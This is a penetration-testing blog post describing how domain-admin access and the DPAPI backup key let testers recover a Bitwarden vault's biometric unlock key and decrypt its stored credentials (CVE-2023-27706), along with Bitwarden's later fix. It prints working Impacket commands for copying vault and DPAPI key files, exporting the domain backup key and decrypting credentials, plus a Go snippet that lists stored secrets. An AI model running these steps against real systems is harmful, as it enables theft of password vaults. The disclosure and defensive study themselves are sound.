RedTeam Pentesting GmbH - werde eine*r von uns

3 January 2024

Bitwarden Heist - How to Break Into Password Vaults Without Using Passwords

Sometimes, making particular security design decisions can have unexpected consequences. For security-critical software, such as password managers, this can easily lead to catastrophic failure: In this blog post, we show how Bitwarden’s Windows Hello implementation allowed us to remotely steal all credentials from the vault without knowing the password or requiring biometric authentication. When we discovered this during a penetration test it was so unexpected for us that we agreed with our client to publish a blog post about it and tell the story.

The underlying issue has been corrected in Bitwarden v2023.4.0 in April 2023 (but the story is interesting nonetheless).

Windows Logo on blue shield in front of an open vault

Where We Started

We recently conducted a penetration test with the goal of compromising the internal network of a client in a Windows environment. As usual, we managed to get administrative access to the domain controller, however, there was an additional hurdle: The backup server, one of the prioritized targets, did not reside within the domain. Having already gained access to Domain Administrator accounts, we decided to take a look around their Windows workstations in the hopes of uncovering information that would grant us access to the backup system. Looking at the workstations, we found that passwords seemed to be stored using Bitwarden (the following details apply to Version Desktop v2023.3.0 of the software). We made the assumption that credentials to the backup system might be found in the Bitwarden vault of the employees in charge of the IT infrastructure. After consulting with our client, we got the permission to attempt to retrieve the contents of one of these vaults. Since we did not want to potentially disrupt the client’s business by using invasive techniques such as key loggers to obtain access to the backup system, we looked for an unintrusive way without relying on end user interaction if possible.

We first tried to crack the vault using simple credential stuffing attacks, however this remained unsuccessful, leading us to ultimately attempt a more creative approach. To further analyze the vault, we decided to download the main storage file of Bitwarden, in the hopes of finding anything of note. It is located under the user’s home directory at %AppData%\Bitwarden\data.json. Downloading the JSON file and opening it in a text editor already revealed an unexpected finding:

		"openAtLogin": false,
		"enableBiometrics": true,
		"biometricText": "unlockWithWindowsHello",
		"noAutoPromptBiometricsText": "autoPromptWindowsHello",
		"installedVersion": "2023.3.0",
        [...]
			"avatarColor": null,
			"biometricUnlock": true
		},
		"tokens": {

It seemed that this Bitwarden vault could be opened using Biometrics, and Windows Hello in particular. We had the feeling that it might be worth looking at, so we decided to dig deeper.

Biometric Unlock - How Does it Work?

Even if biometrics are enabled, the vault still has a main password (Bitwarden calls it master password), you simply do not have to always enter it to unlock the vault. This begs the question how the vault is secured if you do not have to enter the master password. Well, the vault is not really encrypted with the master password, but with an account encryption key, which is itself stored in encrypted form within the vault. The key to decrypting the account encryption key is derived from the main password chosen during vault creation.

In other words: When a user enters their main password, Bitwarden derives a key from the password and this key is then used to decrypt the actual account encryption key which in turn can decrypt the credentials stored in the vault.

The key derived from the main password will be called derived key from now on and it is exactly where the biometric unlock comes into play. At this point, users can choose to add additional unlock mechanisms, which usually results in an encrypted copy of the derived key being stored at a (hopefully) safe location from which it can be retrieved using biometrics, for example. As a result, whoever can retrieve and decrypt the derived key does not need a password to access the vault.

The already described Biometric unlock is implemented based on Windows Hello on Windows machines. Consequently, activating biometric login on Windows means that the derived key is encrypted locally using a secret which can be retrieved after authentication via Windows Hello. So far so good, but as it turns out, it is very much worthwhile to take a closer look into how this is actually implemented in Bitwarden.

After some digging, we found that Bitwarden stored the encrypted copy of the derived key using the Windows Credentials API by calling windows::win32::Credentials::CredWriteW in the bitwarden/clients Rust code. Unfortunately, the documentation on how these credentials are protected is meager, to say the least, which makes it complicated to actually understand what is happening when the API is used. It seems, as though CredWriteW creates credentials using the Credential Manager, which in turn seems to invoke the lower-level Data Protection API (DPAPI). DPAPI provides a convenient way to store data securely such that only the given user is able to retrieve the data at a later point in time. The differences between protecting credentials via the Credential Manager and DPAPI are somewhat unclear, however using the Credential Manager seems to provide additional benefits over using the low-level API, for example UI visibility (you can test this yourself by searching for the Credential Manager application in you Windows Start menu).

So in order to decrypt the Bitwarden vault, we either need to know the main password in order to derive the derived key on-the-fly or we need to retrieve the derived key from the depths of the encrypted DPAPI storage. We knew that DPAPI has a lot of ties to the Active Directory that are relevant for domain-joined workstations and we had already compromised the client’s Active Directory, so we chose the latter approach.

Robbing the Vault Remotely - Who Needs a Master Password, Anyway?

We soon learned about an awfully convenient feature of DPAPI, or rather its newer version DPAPI-NG on domain-joined workstations:

Normally, domain users encrypt DPAPI-protected data using keys that are derived from their own passwords. However, if the user forgets their password, or if their password is administratively reset or reset from another device, the previously encrypted data can no longer be decrypted using the new keys derived from the user’s new password. When this occurs, the data can still be decrypted using the Backup keys stored on the Active Directory domain controllers. They can then be re-encrypted with the user’s new password-derived key. This means that anyone who has the DPAPI Backup keys for a domain will be able to decrypt DPAPI-encrypted data for any domain user, even after the user’s password is changed.

This means for one that the data is encrypted using the password of the domain user and no direct involvement of Windows Hello is needed to decrypt it (as long as the user’s password is known). Furthermore, the data can additionally be decrypted with a remote backup key stored on the domain controller. What could possibly go wrong?

Since the workstation running Bitwarden was domain-joined and the domain was already compromised, we began hunting for DPAPI keys in order to exploit this mechanism. First, we need to obtain whatever DPAPI stores on the machine itself.

We quickly found that two directories were of particular relevance to us: %AppData%\Microsoft\Protect, which is used to securely store the DPAPI decryption keys, and %AppData%\Microsoft\Credentials, where the protected data resides. Note, that we use some simplifications involving the creation of session keys in DPAPI since they are of no relevance to this blog post; details are available here.

If you open these directories in the Explorer, you won’t see anything because they are hidden in a way that Explorer won’t even show them when “Show hidden files” is enabled. However, the PowerShell command Get-ChildItem or gci can display them when adding --force or --hidden. They are also visible via SMB and as we already had remote administrator access we chose this path.

The following code snippets are taken from our lab environment, but are closely based on the actual penetration test. First, we obtained the required Bitwarden data file using smbclient from the Impacket project:

$ smbclient.py 'LAB/Administrator:<password>@workstation.lab'
Impacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra

Type help for list of commands
# use C$
# get \Users\user1\AppData\Roaming\Bitwarden\data.json

In the same session, we also downloaded the Credentials and Protected data:

# cd \Users\user1\AppData\Roaming\Microsoft\Credentials\
# ls
drw-rw-rw-          0  Tue Nov 28 12:59:46 2023 .
drw-rw-rw-          0  Tue Nov 28 12:59:46 2023 ..
-rw-rw-rw-        686  Tue Nov 28 14:02:38 2023 C6530B1481D73604A6A51D114372F1AA
# get C6530B1481D73604A6A51D114372F1AA
# cd ..
# cd Protect
# ls
drw-rw-rw-          0  Mon Nov 27 09:59:01 2023 .
drw-rw-rw-          0  Mon Nov 27 09:59:01 2023 ..
-rw-rw-rw-         24  Mon Nov 27 09:58:51 2023 CREDHIST
drw-rw-rw-          0  Mon Nov 27 09:58:51 2023 S-1-5-21-505269936-2602674991-4082112561-1105
-rw-rw-rw-         76  Mon Nov 27 09:59:01 2023 SYNCHIST
# cd S-1-5-21-505269936-2602674991-4082112561-1105
# ls
drw-rw-rw-          0  Mon Nov 27 09:58:51 2023 .
drw-rw-rw-          0  Mon Nov 27 09:58:51 2023 ..
-rw-rw-rw-        740  Mon Nov 27 09:58:51 2023 14c8d0db-8c7c-4bf8-a857-eb20500a3893
-rw-rw-rw-        904  Mon Nov 27 09:58:51 2023 BK-LAB
-rw-rw-rw-         24  Mon Nov 27 09:58:51 2023 Preferred
# get 14c8d0db-8c7c-4bf8-a857-eb20500a3893
# exit

Downloading these files made it possible to work on the decryption process locally, however it also meant that we did not gain access to the user’s main decryption password directly. This is where the handy feature to decrypt DPAPI decryption keys using backup keys comes into play, as we know that it is possible to decrypt these local secrets with the backup key from the domain controller. We could conveniently download it using the dpapi.py script from the Impacket project:

$ dpapi.py backupkeys -t 'LAB/Administrator:<password>@dc.lab' --export

In this case, we renamed the key to backupkey.pvk. Using this newly acquired key, we could start by decrypting the protected DPAPI decryption key that we took from the workstation:

$ dpapi.py masterkey -pvk backupkey.pvk -file ./14c8d0db-8c7c-4bf8-a857-eb20500a3893
Impacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 14c8d0db-8c7c-4bf8-a857-eb20500a3893
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with domain backup key provided
Decrypted key: 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5a

It was now simply a matter of using this key to decrypt the Biometric login credentials which are necessary to get into the Bitwarden vault:

$ dpapi.py credential -f ./C6530B1481D73604A6A51D114372F1AA -key 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5a
Impacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra

[CREDENTIAL]
LastWritten : 2023-11-28 14:02:38
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=Bitwarden_biometric/ea0b6061-4381-4534-9e91-50cf98753530_masterkey_biometric
Description :
Unknown     :
Username    : ea0b6061-4381-4534-9e91-50cf98753530_masterkey_biometric
Unknown     : "6PN6Y9wkXjrHvDCijM7fhkNrDL8PI/dc70m9XoSqxDE="

This revealed the biometric key (a copy of the previously described derived key), which grants access to the Bitwarden vault: 6PN6Y9wkXjrHvDCijM7fhkNrDL8PI/dc70m9XoSqxDE=

This means that we don’t need the main password, we don’t need the fingerprint for biometrics, we don’t even have to use a keylogger or dump Bitwarden’s process memory. This also means that we don’t have to wrestle with endpoint protection and we don’t need to wait for the actual user to unlock the vault. We simply have to use DPAPI as it was designed. We seriously doubt any user is aware of these implications when enabling Windows Hello for their vault.

So far we only have shown the derived/biometric key, which is sufficient to decrypt the vault. In practice, however, there is still a little legwork we have to do. After all, our goal was not to demonstrate that we could decrypt the vault but to get actual credentials from the vault.

Breaking Into the Vault

We first had to figure out how to decrypt the Bitwarden account encryption key, which protects all other information in the vault. Credentials are not always encrypted with the account encryption key directly since Bitwarden also supports usage scenarios where some credentials should be shared in an organization, for example. This is solved by adding additional layers of keys (private and organizational keys), which are used to encrypt organization credentials, and are also protected using the account encryption key. Take a look at the figure below if you are starting to get confused about all the keys involved in this story.

Overview of keys

The decryption process therefore consists of three main steps: (1) Decryption of the account encryption key using the biometric key, (2) decryption of the second layer of keys using the account encryption key and (3) decryption of the credentials using either the account encryption key or one of the intermediate keys. We then set out to write a Python script to automate the decryption. Let’s walk through each step:

  1. We started by extracting the user object from the Bitwarden data file data.json. The user object contains the encrypted credentials (in the data section) and the encryption keys (in the keys section), in addition to (unencrypted) information about the user account like the email address (profile), settings like the online vault URL (settings) and more. The user section can be identified by searching for a UUID which is used as key in the JSON object:

    "ea0b6061-4381-4534-9e91-50cf98753530": {
        "data": {
            [...]
        "keys": {
            "cryptoSymmetricKey": {
                "encrypted": "2.Z9+7NUlzujEYKrRX+x22+A==|rB5YmxVMKo9tJtNSmRT8mpVQu7GEAHhKndJBXKBwWfW1rw6i3x003ZPligtJCmWXpdHIryF2fb5KdETAvr9QLws27A8z3ZAO4KNAgrzGH14=|PuD7z8am9+l09gM8SDFUU8hvFa02x30gYqJXe7Ac6mI="
            },
            [...]
    

    Since Bitwarden uses different types of encryption for different scenarios, all encrypted values are stored using a particular format, which starts with an encryption type identifier (from GitHub):

    export enum EncryptionType {
      AesCbc256_B64 = 0,
      AesCbc128_HmacSha256_B64 = 1,
      AesCbc256_HmacSha256_B64 = 2,
      Rsa2048_OaepSha256_B64 = 3,
      Rsa2048_OaepSha1_B64 = 4,
      Rsa2048_OaepSha256_HmacSha256_B64 = 5,
      Rsa2048_OaepSha1_HmacSha256_B64 = 6,
    }
    
    /** [...]
     * Example of annotated serialized EncStrings:
     * 0.iv|data
     * 1.iv|data|mac
     * 2.iv|data|mac
     * 3.data
     * 4.data
     [...]
    

    As indicated by the leading 2, our account encryption key was encrypted using AES-CBC-256, and integrity-protected using an HMAC based on SHA-256. Before decrypting the account key with the biometric key, it has to be expanded using HKDF-expand, though.

  2. With the account encryption key, we were able to decrypt the second layer of keys, which were all stored in the "keys" part of the user object as well.

        "privateKey": {
            "encrypted": "2.JbYuUgAf3yIDWfKAZdAi7w==|7OHkUd5GY5akE7IqLGRfJW4cL6P9KltcJOhLepjGPsyOBt0Jzr5+PPakvp8Fz3pgAYNXszCqDP8aqz/q+JhsZVtx5VP3OE6KINdmBvWEO0EX0PEMxtI08WiDNKadlFgNG9zyotIsA+6MA0cDwMIdKYPUWv7P3JB2Y0W9jlqeQQkPerg3voEvGLHOUa48xv7hJt3Q8fIPH3yoo9i5UN042QNEBmn9GBYdFw0gMNdDvMnK47j8kHQ+18SBMpIG0tjLylEmN0aA1QOXq9XHaorguOowUaLQU5funOiurFPpXv7CuXdlJiYak8nBQjdEj9euAEKe4himejHak0CUwMsNqqF7HdAhpLdGLY/gtskd/2e9v8Gwq93nBGNfRBTtfO8tWRWf+ygFqninfR9QquIHQ7BPJMHXsupoOUFlwNV7RVrG1Qa64sv0k1ksP38GyY8jzU2YZVsLWPjwHdHwXIeZzwC2CQ7JO6x9i/zkT9GJIEMBRAf6WBcIy0Q8J1LZvzlIEAJDqZaungjfwKDovaJVCHAq4WTaM0SyNj01RNARsLbVCweGlx1eQ6jootNdovOTR4jprmWwyfe9FQf9Xabm40Bwx8E2jZY2TxyS+Y0TzhdO3Rg0gETb8GHIlXeTU28fPVusjopv0eZXwe97NQhvyhDXCrZM7/546rCIvWTdcmouKdQEaXUXe02nuJl8UGjqqLuuKNxFfNez+RY7khCf7xU5wXzoC/90pNP1nM0FkB9IPe/J7EUvhBHrD+dP+6SxJ9mPDByN/u68kvBeu8R3dn234zJiqDNFWtmliGJMrYybzmViHI70tDxInv/9KoJfJK6QD+SypcEJjytZm+U8kEaWHkaxyMMUQIaHdmmhDYixjC6iclZWvAk5nMhf0wQm5NJJdfIQTWoID4kOMoS71OXExVkLVm93O5AflyD5jcWu/z6IThDY7nEg35t2ziRM1djkhnkK0Eunp45u/bpfhwYsMCnM8IJEiZ9kOOkFfCWCOZJwsk2uINmTBp8PKJD06sluhFKdOFtEDP7PMhEKVt2D2a1yMPT4PCdLYiSe18PQloUgBWC8ica4BVcGnTjGKkloqLNHF8T4nd1igW+LL+FbAj4DVJVciTV6hdHhdf0xmIoz+OhvIfzrmYxy5hjJjmesSvZq8FuK6G746cFCIQmGjT7lZuQcaR2msWawsIEcjFFFy6vIRiwQo72yeyCAmDEbgETLjSfs3jrhXf8pvcEWuci8bpsOV1zr+Od60OU+/30cFal2guazAlIT2jF+zvpf+qWC/A7lVu0iroTAoXu8/IOLxLpaF+xSso7kbrNbsKyx2fJuhNdTLOrqvnv4rw+73n11/fhF3506eN3ULj57kGFIKnRIkueMMwS7DIMla8BPT1rrUNZarTyDupF63KSjJbG9nPXneBeWjHi43jsW78PMtndfqrAr9pn02Me9vYGl8nhseEGArR3iN2fTkrWbV3wwjTbMnGfk4Z43fhsAKaGet6gjmLmcGhbeC2wSEAFgTnoMLZM/CUcqFBopyvMNVkAUs495qZCNvqgpT5f7DrJuzq+GbHK8fypdF+qxwUeUyDzFQfTvf1gKc+ISDYN0mXqDNH1II5aMu/4j0U4gvlO9vxKfJxms2tq0WGY=|3AsNkNSpAWpyHBSa2gjkJHff5vqnoU1yysEmLeXbgYc="
        }
    

    As can be inferred from the encryption type, this key was also encrypted using AES-CBC. In our test setup, the private RSA key could be used to decrypt additional organizational keys, which were in turn required to access organization-specific credentials.

  3. Having obtained all intermediate keys, we were finally able to extract the desired credentials:

    "46d9d1c2-7595-4c18-989d-053e1bf5336f": {
        "id": "46d9d1c2-7595-4c18-989d-053e1bf5336f",
        "organizationId": null,
        [...]
        "login": {
            "username": "2.K+/iMJyO27Wzqos4JtTfmA==|FB1cyKstIHGPBx4GBRk651FZ1zr3NpLBEoe1Vf3FFe4=|Y/2Kur7jIvI/ecXA64ARKs6qy7zLXJh9NVC81+uyeiI=",
            "password": "2.ALOh5YroSqPCkoyzviK0/g==|FDzMel84he7OPGGLatBgxw==|fVxA3OIeNkLwH3zzDU66F40ykDD0PGUOBSEcpMlp3w8=",
            [...]
    

    This type of credential could be decrypted using the account key directly (recognizable by the empty organizationId).

    Other credentials required intermediate keys (organizationId is set):

    "fad536b0-0b44-4cf2-8741-bca6ce7881d0": {
        "id": "fad536b0-0b44-4cf2-8741-bca6ce7881d0",
        "organizationId": "1d05eff7-8a52-44b1-a004-9835dc485985",
        [...]
        "login": {
            "username": null,
            "password": "2.qiVz94La8KSO+GaLbUHjGw==|Khqd0v88X8SqC2gTTrQMtQ==|PYFaG7+X9rL8LZUzbo1T3xIATDAOlybnN3tviBST3/c=",
            [...]
    

Now we can see our vault decryption script in action:

Terminal output of running python script to decrypt credentials.

As we had hoped, the Bitwarden vault on the Administrator’s workstation did indeed include the credentials to access the special backup system, finally granting us access to the sought-after backups. You can probably imagine the astonishment of our client when we told them about the attack, as they had no idea that domain admins can bypass Bitwarden’s vault protections.

Well, we’ve always known attackers with domain admin privileges are quite powerful in the first place, but at least the vault is protected against unprivileged attackers on the local workstation, right? …right?

But Wait, There’s More: Who Needs Biometrics, Anyway?

In the process of trying to understand this whole mechanism, we started playing around with DPAPI in our lab setup. For example, we thought that using the API itself is probably easier than cobbling together the key files from %AppData%. To familiarize ourselves with DPAPI, we wrote a tiny Go program to see what credentials are stored in DPAPI on the workstation using the wincred library. The full script is available here, but the only interesting lines are these:

creds, err := wincred.List()
if err != nil {
    return fmt.Errorf("wincred list: %w", err)
}

for _, cred := range creds {
    credentialBlob, err := decodeUTF16LE(cred.CredentialBlob)
    if err != nil {
        credentialBlob = fmt.Sprintf("%q", string(cred.CredentialBlob))
    }

	fmt.Printf("%s:\n    * %s\n", cred.UserName, credentialBlob)
}

It only calls windcred.List() which is a thin Go wrapper around CredEnumerateW which simply “enumerates the credentials from the user’s credential set”. However, we did not expect that this function immediately spits out Bitwarden’s derived/biometrics key without prompting for biometric authentication using Windows Hello:

Terminal output of Go program that lists DPAPI credentials.

This means that any process that runs as the low-privileged user session can simply ask DPAPI for the credentials to unlock the vault, no questions asked and no PIN or fingerprint prompt required and Windows Hello is not even involved at all. The only caveat is that this does not work for other user accounts.

Bitwarden itself does prompt for biometric authentication when unlocking the vault, but it wouldn’t even have to. In fact, you could probably remove a few lines from the source code and have it unlock without a prompt. The whole issue is likely a result of misunderstanding the details of the CredWriteW function, or maybe an unawareness of the potential pitfalls of using DPAPI to store encryption keys.

A Feature, Not a Bug

We contacted both Bitwarden and Microsoft about the details of this attack. We always make sure to follow industry best practices for responsible disclosure, even if it is unclear whether our findings are actual vulnerabilities. For the attack explained in this blog post, this was the case as it is not clear whether the attack is in scope of either Bitwarden (since the attack already assumes access to the workstation of the victim and the Windows domain) or Microsoft (who are only involved by providing DPAPI to store the decryption keys). Microsoft indeed responded to our report by stating that DPAPI and its backup mechanism were used exactly as intended, and that our attack therefore did not indicate any vulnerabilities on their side.

Bitwarden also responded, however they agreed that this behavior was unintended, and stated that they were already tracking a similar issue internally. As it turns out, we were not the first to discover this in March 2023, it had already been reported to Bitwarden through HackerOne. However, we did not know this since it was only disclosed in June 2023. Since then the vulnerability is known as CVE-2023-27706.

Bitwarden has since made changes to their codebase to mitigate this particular scenario, which we will quickly summarize in the next section. They have also changed the default setting when using Windows Hello as login feature to require entering the main password at least once when Bitwarden is started.

Biometrics in Bitwarden Now

To prepare for this blog post, we also took a look at how credentials are stored in the current version of Bitwarden Desktop v2023.10.1. Bitwarden still makes use of Windows Hello and DPAPI, which are still accessible using the domain backup key. However the content of the secured data blobs has changed:

$ dpapi.py credential -f DAF81666731C8E899E9464647512792B -key 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5a
Impacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra

[CREDENTIAL]
LastWritten : 2023-11-28 15:01:47
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=Bitwarden_biometric/ea0b6061-4381-4534-9e91-50cf98753530_user_biometric
Description :
Unknown     :
Username    : ea0b6061-4381-4534-9e91-50cf98753530_user_biometric
Unknown     : 0.OQeotvzeRCpHoEb2c7TZ2g==|3PqjMDiq1J9hHnO7KESu0fG6Vl4yl2siOImoZghma2FpfNJmfKyGAmJNq00ay3/HV1dd855YMlNc7k3wSam47nxWEAuQU/oCaiPH9q5k9I+OJuvv01HVniqq7ERzRWLp

$ dpapi.py credential -f 1A52DC5CA68038A3E4216121AA1A7E0E -key 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5a
Impacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra

[CREDENTIAL]
LastWritten : 2023-11-28 15:01:47
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=Bitwarden_biometric/ea0b6061-4381-4534-9e91-50cf98753530_user_biometric_witness
Description :
Unknown     :
Username    : ea0b6061-4381-4534-9e91-50cf98753530_user_biometric_witness
Unknown     : 0.OQeotvzeRCpHoEb2c7TZ2g==|Kbo2ptPoXcw3N30AnYA8fw==

Instead of storing the valuable derived/biometric key via DPAPI, Bitwarden now stores two secured data blobs, which are encrypted and can no longer be used to decrypt the account encryption key directly (indicated by the encryption type 0). The stored data blobs are now additionally encrypted using the KeyCredentialManager API which actually requires interaction with Windows Hello to produce a decryption key. While it seems to us that this fixes the issue, we have not actually tested the new implementation for other vulnerabilities, yet.